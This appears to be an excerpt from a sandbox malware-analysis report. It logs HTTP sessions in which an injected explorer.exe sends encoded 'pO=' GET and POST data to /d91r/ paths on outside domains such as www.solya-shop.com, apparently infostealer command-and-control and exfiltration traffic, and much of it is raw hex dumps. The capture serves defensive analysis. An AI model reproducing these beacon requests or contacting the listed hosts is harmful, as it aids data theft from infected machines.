7a 34 48 61 4f 7a 79 55 57 54 72 33 46 58 37 59 45 51 4a 67 74 6a 42 4c 36 33 28 4d 38 6d 4f 31 38 79 6e 56 62 43 45 42 4b 6c 59 78 35 77 4f 4b 39 57 69 56 31 6a 6d 34 38 41 7e 53 6a 37 50 74 54 5a 61 51 48 47 7a 37 4d 4f 55 50 59 69 28 5f 51 51 43 31 76 36 58 42 43 66 52 32 4d 37 37 47 67 4c 4b 31 4c 38 52 51 38 66 31 44 72 4b 30 4d 37 31 46 66 77 43 61 43 44 41 62 6d 59 77 6d 76 6b 48 30 63 55 36 54 47 54 77 6d 61 31 78 31 32 57 42 6f 71 53 6b 70 6f 6c 76 41 47 59 54 58 57 68 62 44 62 6d 73 34 30 39 73 4c 75 61 6b 79 71 78 73 32 56 4b 44 75 44 65 79 34 75 55 69 61 70 44 72 6d 50 76 38 39 75 39 45 31 69 42 4a 64 49 37 41 73 6c 76 53 50 57 38 47 79 68 70 61 31 51 63 4e 44 74 79 4c 47 62 7e 33 42 77 56 69 6b 62 76 5f 75 36 6b 6e 34 68 32 6f 69 33 63 58 33 41 31 43 46 64 53 44 31 48 53 67 44 55 7e 34 44 4a 63 4f 61 55 63 6c 59 75 49 6c 7e 70 6e 76 28 4c 68 47 43 35 33 6e 4f 78 33 48 30 79 39 5f 68 42 79 75 69 51 34 75 64 79 57 55 4c 35 37 57 59 74 6e 49 7e 71 73 6d 72 7a 6f 44 64 6e 5a 47 4b 5f 4e 4b 4c 6d 5a 74 44 45 6c 47 71 51 35 6a 77 37 63 67 6f 75 68 4f 48 63 51 2d 39 4a 59 74 66 42 76 34 45 38 76 32 5a 5a 6e 6f 6d 32 51 34 37 43 66 4e 77 51 58 52 4f 43 30 64 4f 4f 4e 7a 7e 39 5a 7a 4a 43 38 6f 63 30 7e 69 73 4d 6e 48 7e 2d 6c 73 49 30 56 32 77 4d 72 58 4f 58 33 72 4e 78 4d 48 7a 75 51 73 37 63 43 34 36 63 55 43 63 49 76 41 63 43 53 69 35 52 5a 41 62 33 42 79 67 72 4a 72 6a 62 56 34 73 32 46 45 58 32 68 79 46 48 5a 47 5a 48 65 49 6c 78 59 77 67 35 67 49 6f 6a 49 58 58 48 44 54 7e 7a 76 43 6f 4f 38 4b 72 6b 4c 62 72 5a 7a 56 31 77 6e 41 43 69 4b 4d 64 50 4e 5f 58 51 62 73 72 35 64 46 79 55 33 65 38 4c 65 71 53 78 59 55 76 34 78 59 6c 46 75 45 47 41 62 68 50 71 38 52 28 45 38 32 47 56 7a 6a 70 4c 7e 42 76 59 76 62 4d 56 57 37 57 66 6d 4c 63 51 4d 74 61 73 4a 66 76 39 58 70 65 65 4b 35 6e 79 6b 30 69 35 34 55 78 73 6d 77 50 46 53 32 45 68 4c 46 6c 65 77 30 4e 42 6c 43 52 62 6e 43 73 39 6a 66 6d 33 5a 69 76 46 51 71 69 51 7a 75 37 72 46 69 51 34 6c 66 59 65 62 79 4b 55 35 53 69 38 64 34 67 54 61 68 51 7a 52 36 50 6a 47 7a 38 62 46 39 75 78 32 74 79 77 4d 50 4d 30 47 74 70 4f 4f 64 62 44 48 43 74 46 56 55 63 6b 74 52 4d 46 74 2d 50 65 54 65 77 6e 6c 42 64 5f 42 39 55 32 5a 32 6d 47 61 6a 75 4d 54 62 49 6d 39 46 43 5a 38 6c 4c 58 6f 33 72 64 61 46 5a 5f 7a 44 58 77 67 7a 62 51 53 45 30 54 78 65 53 58 64 47 6e 59 65 69 69 32 59 7a 34 50 59 71 4e 49 46 5a 39 79 61 63 41 4c 59 41 4c 5a 70 73 63 38 59 59 30 53 69 70 77 75 44 6b 51 53 61 4e 52 5a 28 4f 78 61 75 33 46 53 54 79 79 49 78 59 6e 76 5a 55 35 7a 30 45 38 61 6f 70 58 6f 6f 4a 72 55 30 70 69 77 47 79 57 36 48 32 44 6b 6c 51 72 73 63 6e 75 56 64 2d 4c 42 32 76 78 36 54 54 42 6b 43 6e 38 43 50 32 4e 53 48 69 65 5a 75 59 65 70 6e 64 44 44 49 6c 49 35 64 6d 34 54 49 74 47 56 73 4c 38 67 45 47 61 58 56 48 4c 55 65 4b 67 55 75 5f 41 36 78 2d 46 69 74 54 67 54 50 62 48 69 76 34 57 59 28 6b 53 35 50 61 77 4d 59 4e 6f 51 65 2d 67 66 79 34 69 6f 41 42 52 34 4d 71 6a 6a 55 43 66 43 71 74 39 56 39 54 48 7a 52 34 48 77 51 4e 6b 56 64 2d 74 6e 49 66 68 42 50 75 31 53 66 52 66 6f 6d 65 51 73 Data Ascii: pO=0ssrY0In6G4DvwTUYoiBzrrQ0mapqbioNvdIPSk6BSutyXiQvQi7y02bTW6ARoQ4pyYbAh(cwbRo4nGdM-w0nh8iSYBjL10VqAnrua(YNhQ0GFCUnjOsAxzpcrMstOZwvbr-8o6w0h~NFgtwW44J3c8JqXnK26Fr3yPC90UcFQHMvs86JBUgfHkQq5fHjBbiQpX-(a3W57pPld47K_olKK5Hlgw6qKNTe7QI~AZ9B-~ujDw9iITX7Lj2bFbXGp(6y7Nnd0v2q36K(_TcPoWdtiuThBBNXZiY5l2XHc82XaEs0vOsPgTQmrcfar12mYs-Za4I90661y7Az4HaOzyUWTr3FX7YEQJgtjBL63(M8mO18ynVbCEBKlYx5wOK9WiV1jm48A~Sj7PtTZaQHGz7MOUPYi(_QQC1v6XBCfR2M77GgLK1L8RQ8f1DrK0M71FfwCaCDAbmYwmvkH0cU6TGTwma1x12WBoqSkpolvAGYTXWhbDbms409sLuakyqxs2VKDuDey4uUiapDrmPv89u9E1iBJdI7AslvSPW8Gyhpa1QcNDtyLGb~3BwVikbv_u6kn4h2oi3cX3A1CFdSD1HSgDU~4DJcOaUclYuIl~pnv(LhGC53nOx3H0y9_hByuiQ4udyWUL57WYtnI~qsmrzoDdnZGK_NKLmZtDElGqQ5jw7cgouhOHcQ-9JYtfBv4E8v2ZZnom2Q47CfNwQXROC0dOONz~9ZzJC8oc0~isMnH~-lsI0V2wMrXOX3rNxMHzuQs7cC46cUCcIvAcCSi5RZAb3BygrJrjbV4s2FEX2hyFHZGZHeIlxYwg5gIojIXXHDT~zvCoO8KrkLbrZzV1wnACiKMdPN_XQbsr5dFyU3e8LeqSxYUv4xYlFuEGAbhPq8R(E82GVzjpL~BvYvbMVW7WfmLcQMtasJfv9XpeeK5nyk0i54UxsmwPFS2EhLFlew0NBlCRbnCs9jfm3ZivFQqiQzu7rFiQ4lfYebyKU5Si8d4gTahQzR6PjGz8bF9ux2tywMPM0GtpOOdbDHCtFVUcktRMFt-PeTewnlBd_B9U2Z2mGajuMTbIm9FCZ8lLXo3rdaFZ_zDXwgzbQSE0TxeSXdGnYeii2Yz4PYqNIFZ9yacALYALZpsc8YY0SipwuDkQSaNRZ(Oxau3FSTyyIxYnvZU5z0E8aopXooJrU0piwGyW6H2DklQrscnuVd-LB2vx6TTBkCn8CP2NSHieZuYepndDDIlI5dm4TItGVsL8gEGaXVHLUeKgUu_A6x-FitTgTPbHiv4WY(kS5PawMYNoQe-gfy4ioABR4MqjjUCfCqt9V9THzR4HwQNkVd-tnIfhBPu1SfRfomeQs(DL8Hx85tpg_VB4AyddUS2YJhl7jVl7jErsT6hIzCWu1GUcePtwxAssdzhmSIsOTwdWko9ii2Gnmrga0QXsci5whwBj3~MPC3ijJ9Qh_RR83XpS1KugN04aT4kqZeK(Mr0F7tbFcLxXDOMHDmzoFf3xPIKlLQC~EbpYJiaummh3none_em~VX5r8kPOWwB7vmj9PTWuib9kr0dg1sQO98JgHyMWhcG4ZTsrs~LZcrg5oSmD7vEPe7K~58QYJZJfcNe5niiymuS0b3Rm1kDoOUHDM4BvGhyeCAN3w7DzrBW4DqiKsJpMT3L(pGKhIPhul1YcWqrBZuyofK5gfndPTeZBsy39lVeag722Wa4WlTVGqAArRpuLnIOLBappspLTXsOY1hjDNMnMWtaG-4oLL2Sf_Vhorfaot~Rivpt20cxsDBqO8inpln5p3wt6v7Ln4OnSUEkKDVgh5sFsYakvNSdPxjCwUxFQrfiiqaKcXE6A59qbkOKanRfPrwWqtVVHQtlL1yvIMYZw3vWI5MlAFMM56(ixvnf99O8H40yJg3Br4mobJkkTadE8wK-MKkk6WVwZWUbxms5hpmEfDF9ufIu2_3kzKTl8t99h5ThWmz3xTlwD3TtZBtvvoS6PdFJ9N1KiQhseKofcXPk1owynlxLlg1Df3nYQDg0KCxNEqJG5gsTXzFZYFXMZQRpzmoIn6zf14ixAcaMrT~-xwYLVo56OdCJf_SBQ-YkNJSlkAOKHuAoK2heqOO3tWvKVFB_bgBS70gDuyT6oeCJymex22IuHxDdt73C~YnwgylRvY9GsI(vu_oBogbC63F_5kqGyXbqOwwbfEawxrsZn_f5R2hFFqrXswXICOlYKjN_j0sCVU0UiwbhtsJ3w-fVEEzOJUGGRZtgc4UZEHhTv5UIGmX8OAGYJFg84huVveWdq4T1WjudZpOXmV8wKISWWhKfcYXm2SJj4vCPLkcY0JKgDHW8DtjmK8uNbj1okfnwxOUOMZEXi6pZaUCAXuOUMveefHg2l4~JH1b6Iy7kfPH2(h268GLD3VuhW4WLUIzXCKD5GVFDu-DRbjQxmi2zlj2COZ~3kh8jrlJQstbnqerrF9cojqwSPEYa4U3pejVwlLDfTXGvsFWirRxD(nyAKlpojkPHJ35IOiHNONkXjwgU49(3xEDFrEZ7wObEj8ePLalDo_WSTiwFEhoMAvwFAMimi6Robt2hXWXjQDL_FPU57vwRmdoqKlbfjMdMYsZiT54vapMG88erDqr7GbWeGRcRZ_MsLYiMRCMa5xpmnNtyZ1es8B1LK6bF5NaZgrtcXp59mRGLFKnwPbBeiRvauySDZwCqnVx5FDT4g8MzeRcHvm~Bdgxw10q_4loD1of9Lq4CehgZWXvvxOlu4hA7tA1ij8YHFFIhCUxUMQkXuxziP7Vg8RW7qsVzYfKhOJ18YI7fa6hSM_bNk4W7ldKbGG40bvLLDqRlZheDtpnRXgnahz7_7g33FeYYFWSRK_FO23x08TayB4~an0F1EjJw3k9axh5pHI1pQMWyA1Uyp0NCJt~keN8w(gZ4KVBWo2LEdAfdf3wOOxS8OVn_Poy-5s3y8xiWcRUX2O9ddAej(YSk0rCOZ1ktEwZ-uzrMUrjOpJXRZHY04ssGtTGz(ZbiqotxKkUKoTe1raNhneXmZb6YpZg-H2txkLIOf52Jqh02SykfyqZc3K5MLG3v8MBqSM2W(vW1s-fpdOAA7g0bWAuh~LS6zuEWMirliB(PCQVqeldCEXgMYApAXDvJNQjJC8SI84gFXTIPc2YnVwoFkVHTzV9d63LbR8fseG(ZPoN271cH62mB8pTnBqEQ1VDuzcB999q4FLWZxjBSwyLipIDM5zo6jD31mJ8X6cO9qJa3BZVf5n7YkODNTeL_ZYKRcT(C0RtJ1KjBuXPmFezAa54AzH0OXD2vyuCWeA2rq4Ow6T1Y49yBBesEwJgzJfXV9gV1261nuwKE~bS6Pp2URZT31_XZSO90nCN3zMPR89usB1gab_lZIy4hoT87EpOjU6D88hDmtT9OtxJKPP7Glv8-QtMBxUW8jzb_WG~zwlQAxBvRRUH0DEIajnVyFzstINhZAFPIZb10mv8ye8fhIy9rLqQiY6hUXLl9QO(mjZxkBGBkXhnBrZqyzuN2Yb15KdTeVsNWX7oUSmaOImQFkVqA~6j8obyR(h32ZHxPiLO16dS5mGUZgYGooFFKwWgjaFgmB6Rflpib55YGKoC0KuefbSMpkogWVp~1dlQkGxkw0WoLjd61m2OebbZOlUM99yD4YYKjXemMnc19oAsWhw1BynUZ~gonKL94nIqBnB6Zj7TlwZG3YKRkfefoCewxy5V1YKZiVLxdkCSTeUeLayDvf-2iNG48nbySoET6WZt3xn9rttecBFGckxr8asqkLLlx(Zk4xYUVUBONq_pGMaL5y4wJWLQQJTHjwseTKPGuqx~_6WfGmmmXTqqMOoyehjpuatBUXRDWJY5ADbY3v2~lZdXqqi3Zhu6vpEjB5qCOYSgw53Ps2M482YlMEDp61CkB(91hBidVRbB37yjoHmucnUsQkiKEbpLYpGUN0JEdX9FLkFsQag8erUMNr5B0mWWNguOuEXWbh3CQkuMie6GGuASly00zoWd1YksxqTf83CVdqxE96UFJ7n1Pa3a9RBbLsbEDU77K6lgonVH7ABckWo7oATREn-1rCoYe9
Mar 20, 2023 15:24:59.146060944 CET	1589	OUT	Data Raw: 49 57 69 75 4f 58 54 77 4d 71 5f 75 62 52 6e 67 30 31 4c 41 66 30 45 65 6f 4e 6f 4a 45 63 4b 53 37 36 74 4a 30 46 75 6a 68 6f 6a 50 59 54 33 77 46 73 77 54 74 6d 33 66 62 72 39 6a 58 4e 4f 72 77 47 74 36 71 63 48 43 55 36 63 63 39 7a 35 74 79 66 Data Ascii: IWiuOXTwMq_ubRng01LAf0EeoNoJEcKS76tJ0FujhojPYT3wFswTtm3fbr9jXNOrwGt6qcHCU6cc9z5tyf3Q4Zn2pPB6hiqY1NrJkv5(1IIy149ZXm2~m6ZFGdEt-1kPJuTttAmtiEj~kSKwRxqi-oZALvyGlRvDxdeZi50NgkIptgZvvgPzeiLGF13LwAnbZJ140YYQINKfDDEkpmvRA2HocsgsqqyWyXL(o0HrXagqB9ef8o7
Mar 20, 2023 15:24:59.175477982 CET	1592	OUT	Data Raw: 58 35 66 57 48 73 77 62 6e 63 66 6f 74 74 71 6c 38 45 59 7e 69 66 5f 77 36 73 69 4d 34 63 56 31 6a 33 35 6e 57 7a 36 66 71 42 33 64 4d 31 69 59 31 39 34 32 33 71 57 30 67 67 34 67 49 4f 49 63 6b 76 76 57 6e 6a 31 76 31 77 45 6e 76 71 32 7e 6e 4b Data Ascii: X5fWHswbncfottql8EY~if_w6siM4cV1j35nWz6fqB3dM1iY19423qW0gg4gIOIckvvWnj1v1wEnvq2~nKqUMOc3H6SV2bwlUp4KtsRnAwebqmN2DWc~Gds5PwkW6IHQ3BsSr(bAXK2yAmQdsR-DLhEyBW-hUpYMQcjGWrj2Q6cZ-5KDzv1wmpyuDqhADeXomEUVdE1MPeLTDkquiNY1RsxWcvr~1TMyOC5zsPnFmxXoOSCAVT9
Mar 20, 2023 15:24:59.175580978 CET	1597	OUT	Data Raw: 4f 46 74 73 35 32 7a 47 43 6a 54 45 71 6a 4a 31 76 79 36 28 7a 44 47 7e 31 42 4c 36 4b 36 4b 45 34 75 2d 7a 5f 6f 74 4e 48 4f 6f 5a 53 53 33 31 62 7e 6a 67 46 64 62 36 45 61 4d 6d 5a 41 6d 59 39 78 73 75 4f 66 49 71 58 76 4a 32 37 59 4f 6f 61 6c Data Ascii: OFts52zGCjTEqjJ1vy6(zDG~1BL6K6KE4u-z_otNHOoZSS31b~jgFdb6EaMmZAmY9xsuOfIqXvJ27YOoalYlWfhMPu_j8vu(bEoGKQNvT1qImgqln6F28Dxdq04sgOGXrQLw2B2d-(21LaVMi0PN9NCkxQRhB3v6xCoMjjDAC(ISQKlSXbS29e8cLkgYA9sAE1kIOoRo_wHmlDULqHJ3XzLx8Dz~M0Y18VaofktiuULC2FY77y9
Mar 20, 2023 15:24:59.175863981 CET	1608	OUT	Data Raw: 4d 7a 67 36 47 6a 44 74 64 46 6d 52 59 75 69 6a 2d 39 2d 7e 67 70 52 47 36 31 4b 61 6a 75 69 28 38 67 63 50 4f 44 58 33 57 79 7a 59 46 32 66 53 33 69 36 35 69 71 74 55 39 4a 62 70 47 32 41 50 5f 41 41 41 6d 61 5a 34 67 53 74 32 6c 72 65 77 4a 58 Data Ascii: Mzg6GjDtdFmRYuij-9-~gpRG61Kajui(8gcPODX3WyzYF2fS3i65iqtU9JbpG2AP_AAAmaZ4gSt2lrewJXA0qS6CmwG6Pk-c2tycVcxxJ~UnOz1VOsYg2kUY_ku6qdC1TmbH5kMb6Lhvuhggqjw8aY4qgKFJA1rr2JGlWE-GzRkHu7SR08MXlBKvrGr9TwRIpBZ0D9mylxDd6cn~RVb1QGHG_GVdcW4brr5K1LxA3dmjftXRVrT
Mar 20, 2023 15:24:59.175966978 CET	1613	OUT	Data Raw: 79 61 35 61 65 54 31 6a 4c 58 77 59 58 39 58 52 7a 68 49 61 6a 7e 54 65 57 4b 6c 54 7a 4c 5f 4c 63 63 30 6f 56 57 39 33 77 45 39 6f 55 4f 31 78 4c 64 68 6b 42 70 72 55 38 49 7a 63 52 6c 69 79 65 34 4b 4f 5f 6b 71 34 67 51 6b 45 42 6b 58 69 2d 4e Data Ascii: ya5aeT1jLXwYX9XRzhIaj~TeWKlTzL_Lcc0oVW93wE9oUO1xLdhkBprU8IzcRliye4KO_kq4gQkEBkXi-Nm9JpStytvFumiALcv7eCx7_7tXz2uri(oR0f2EaksM-e-MZ4Xgmy0pjnRKsF6eTjFLoFUKMyStROXtTzbtDQKuOu4vyMfa2j0qeoojBFEujqbG5XfPC4I6DDu6Qs_lSGcEXWHUBH0UB(HL1J0pWamndqjnpquGcJo
Mar 20, 2023 15:24:59.176186085 CET	1615	OUT	Data Raw: 61 46 68 66 70 6a 4d 75 6c 52 6e 43 6d 33 71 38 55 6d 38 34 68 35 30 66 51 4e 70 74 72 68 42 45 74 4e 49 52 30 4e 2d 62 6d 4b 66 4a 6f 61 31 69 42 53 4a 66 51 6f 78 72 48 6b 78 66 73 33 39 5a 57 4f 6f 42 38 73 35 5a 71 67 42 4e 7a 69 46 77 5f 47 Data Ascii: aFhfpjMulRnCm3q8Um84h50fQNptrhBEtNIR0N-bmKfJoa1iBSJfQoxrHkxfs39ZWOoB8s5ZqgBNziFw_GuCOLzP-p7isscwOWwD8DjkZ1HsD7tQjFZFOrUwCBWfufFgF6xxMxuYXXj3jI0J8G4P1zFI3xjLUenz3QXQsgJNe9pPUh-yopvoc0YYsOyaTFvcFoXGVnm9FN6AvOjs2uR26lZoBEhTHijVICijhF2xvemAc8fJLwt
Mar 20, 2023 15:24:59.185359001 CET	1616	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:24:59 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 20, 2023 15:24:59.205148935 CET	1622	OUT	Data Raw: 63 66 30 55 50 39 42 30 6b 57 62 50 33 62 39 75 52 73 68 58 31 6c 62 66 6c 76 41 4c 6e 49 37 31 41 31 35 53 73 56 51 71 34 75 55 37 76 35 76 4c 57 7a 63 4c 56 4f 55 52 57 46 44 45 49 31 68 67 33 36 41 36 76 4d 65 50 42 62 62 53 76 78 79 4a 65 47 Data Ascii: cf0UP9B0kWbP3b9uRshX1lbflvALnI71A15SsVQq4uU7v5vLWzcLVOURWFDEI1hg36A6vMePBbbSvxyJeGxO8VRNEZzRgW83NndFZjKymPDU-lTmQKJLnZnyPrdOtDo2aPkWXraawNSIUSakbwHC5QZdyzkodKyZS4rwcjZTslkVUWQD47S~jT9fHS10a1w5Q2Gj4vbm25CytGTnv7RrOxttft1ZPsRqnDJHH(aYfpjVGzKgWfx
Mar 20, 2023 15:24:59.205266953 CET	1629	OUT	Data Raw: 71 47 37 33 62 56 7a 69 5a 35 4b 28 33 4a 59 70 65 47 62 62 71 6d 43 35 7a 6c 35 77 67 54 53 56 6f 71 47 58 34 63 65 63 69 30 75 33 6e 70 32 62 77 57 69 76 6c 69 79 50 57 54 66 69 59 32 79 43 37 68 6e 6e 4f 46 45 44 78 4b 75 6d 44 33 39 41 45 71 Data Ascii: qG73bVziZ5K(3JYpeGbbqmC5zl5wgTSVoqGX4ceci0u3np2bwWivliyPWTfiY2yC7hnnOFEDxKumD39AEq3(ukJhWETxteW49ZvfXQL6XDkJtthXrz-lzdiPorAilFfV1ixHKogqLnA87aHWzZ1du6tz_IuobmukUci42HpJztJQoq6P0nvrjA7oflsxEtJIrl3sSBBn1fqJF(m2ycRMCwe2sGtsV1pkMduox7opwst3YKzcRT8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.11.20	49924	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:25:01.691287994 CET	1630	OUT	GET /d91r/?pO=5uELbA0g21s84RfIYZefn7jmwGm7oIOOLOAnPy0CEmjl7E2osw+P2nrFQVa8XPAXlQFWR1Kf++ZUi1OuENtNpjpnS7NncHgQqw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.flaviosilva.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:25:01.726972103 CET	1631	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:25:01 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.11.20	49925	217.160.0.217	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:25:06.753923893 CET	1632	OUT	POST /d91r/ HTTP/1.1 Host: www.solya-shop.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.solya-shop.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.solya-shop.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 32 4e 39 63 74 64 67 46 6e 31 39 55 70 31 66 73 46 66 4c 58 34 38 55 72 7a 52 48 6b 42 55 30 43 51 76 59 41 41 4b 68 74 47 71 43 53 52 47 50 35 44 34 4b 77 30 31 44 4a 36 52 64 78 46 71 54 6d 56 39 49 46 6a 6b 6c 73 45 34 56 58 47 38 67 61 6c 4b 72 45 7a 50 30 36 35 54 71 58 48 55 31 52 51 2d 28 42 48 6c 4f 68 7a 6f 38 4b 79 76 51 5a 33 70 61 43 72 65 55 4c 77 4f 41 6d 51 67 64 66 74 77 67 2d 64 51 67 70 61 42 41 76 64 33 52 34 6e 4f 57 4b 65 6b 6b 5f 75 55 61 6d 4f 66 32 65 51 58 66 4d 72 4a 4f 6f 71 55 6f 73 5a 50 5a 62 62 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=2N9ctdgFn19Up1fsFfLX48UrzRHkBU0CQvYAAKhtGqCSRGP5D4Kw01DJ6RdxFqTmV9IFjklsE4VXG8galKrEzP065TqXHU1RQ-(BHlOhzo8KyvQZ3paCreULwOAmQgdftwg-dQgpaBAvd3R4nOWKekk_uUamOf2eQXfMrJOoqUosZPZbbw).
Mar 20, 2023 15:25:06.769948006 CET	1632	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html Content-Length: 0 Connection: close Date: Mon, 20 Mar 2023 14:25:06 GMT Server: Apache Cache-Control: max-age=3600 Location: https://solya-shop.com/d91r/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.11.20	49926	217.160.0.217	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:25:09.300405979 CET	1633	OUT	POST /d91r/ HTTP/1.1 Host: www.solya-shop.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.solya-shop.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.solya-shop.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 32 4e 39 63 74 64 67 46 6e 31 39 55 6f 55 76 73 56 4d 7a 58 35 63 55 6f 76 42 48 6b 61 45 30 4f 51 76 63 41 41 4f 34 77 48 59 6d 53 53 6e 28 35 43 36 79 77 31 31 44 4a 31 78 64 30 64 4b 53 71 56 39 45 4e 6a 6c 5a 73 45 38 39 58 48 4b 30 61 6e 36 72 48 34 76 30 37 78 7a 71 57 57 45 31 62 51 2d 43 6f 48 6b 61 68 7a 59 41 4b 38 4d 34 5a 7a 37 69 46 38 75 55 4e 32 4f 41 70 61 41 64 72 74 77 74 44 64 52 49 35 61 77 6b 76 64 55 70 34 6b 4f 57 4a 57 55 6b 79 6d 30 61 77 4f 4f 62 54 66 6d 44 51 32 59 48 57 7a 68 35 49 55 37 77 70 5a 55 32 65 57 48 52 4c 72 35 7a 49 5a 62 36 6e 55 7a 7a 6e 67 72 56 4d 56 73 52 54 76 49 66 50 59 31 32 6b 6c 49 46 45 79 66 79 54 52 49 4b 48 57 33 61 73 4b 2d 48 62 5a 6a 52 51 7a 4c 54 51 39 6e 71 44 78 54 51 66 6a 35 48 6c 71 53 7e 34 35 58 74 73 46 5a 58 47 63 73 37 6d 61 58 4f 77 59 73 77 6e 49 39 76 61 33 53 31 41 4f 49 6c 2d 58 70 59 42 79 5a 61 6e 74 74 63 65 51 38 4f 41 44 69 77 2d 5a 39 62 73 75 77 53 68 62 65 34 6d 4a 45 33 6d 46 65 78 57 4f 5a 72 2d 31 4b 61 53 46 2d 75 47 41 45 58 32 79 49 30 7a 46 72 52 44 42 71 6c 63 67 36 36 7a 4c 43 4d 68 53 72 30 46 70 39 50 75 42 43 49 64 57 49 36 45 76 32 76 46 73 46 32 53 74 61 70 52 6a 62 61 48 64 51 4c 35 36 4d 43 2d 7e 69 52 59 28 4c 56 58 51 6e 4c 48 50 77 61 4c 50 2d 47 68 69 6b 4d 4a 78 4a 70 4a 31 41 42 78 45 55 28 2d 69 36 33 66 61 51 47 4e 6f 44 74 35 55 6d 4a 70 4b 32 28 6b 6c 5f 39 4c 45 69 53 53 55 75 44 73 74 66 72 6e 73 30 33 30 4c 63 63 31 5a 37 7e 65 75 62 68 64 36 4e 5a 76 30 35 75 6b 68 48 33 69 79 46 7e 57 69 49 41 39 67 39 35 6a 4a 69 6b 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=2N9ctdgFn19UoUvsVMzX5cUovBHkaE0OQvcAAO4wHYmSSn(5C6yw11DJ1xd0dKSqV9ENjlZsE89XHK0an6rH4v07xzqWWE1bQ-CoHkahzYAK8M4Zz7iF8uUN2OApaAdrtwtDdRI5awkvdUp4kOWJWUkym0awOObTfmDQ2YHWzh5IU7wpZU2eWHRLr5zIZb6nUzzngrVMVsRTvIfPY12klIFEyfyTRIKHW3asK-HbZjRQzLTQ9nqDxTQfj5HlqS~45XtsFZXGcs7maXOwYswnI9va3S1AOIl-XpYByZanttceQ8OADiw-Z9bsuwShbe4mJE3mFexWOZr-1KaSF-uGAEX2yI0zFrRDBqlcg66zLCMhSr0Fp9PuBCIdWI6Ev2vFsF2StapRjbaHdQL56MC-~iRY(LVXQnLHPwaLP-GhikMJxJpJ1ABxEU(-i63faQGNoDt5UmJpK2(kl_9LEiSSUuDstfrns030Lcc1Z7~eubhd6NZv05ukhH3iyF~WiIA9g95jJik.
Mar 20, 2023 15:25:09.317117929 CET	1634	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html Content-Length: 0 Connection: close Date: Mon, 20 Mar 2023 14:25:09 GMT Server: Apache Cache-Control: max-age=3600 Location: https://solya-shop.com/d91r/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.11.20	49927	217.160.0.217	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:25:11.847230911 CET	1637	OUT	POST /d91r/ HTTP/1.1 Host: www.solya-shop.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.solya-shop.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.solya-shop.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 32 4e 39 63 74 64 67 46 6e 31 39 55 6f 55 76 73 56 4d 7a 58 35 63 55 6f 76 42 48 6b 61 45 30 4f 51 76 63 41 41 4f 34 77 48 59 75 53 53 56 33 35 41 62 79 77 6e 6c 44 4a 38 52 64 31 64 4b 53 6a 56 39 4d 4a 6a 6c 55 5a 45 2d 31 58 48 5a 4d 61 6e 49 7a 48 39 76 30 34 30 7a 71 51 48 55 31 50 51 2d 7e 38 48 6b 4f 78 7a 6f 30 4b 79 76 67 5a 30 4b 69 43 28 2d 55 4c 32 4f 42 6d 4e 77 64 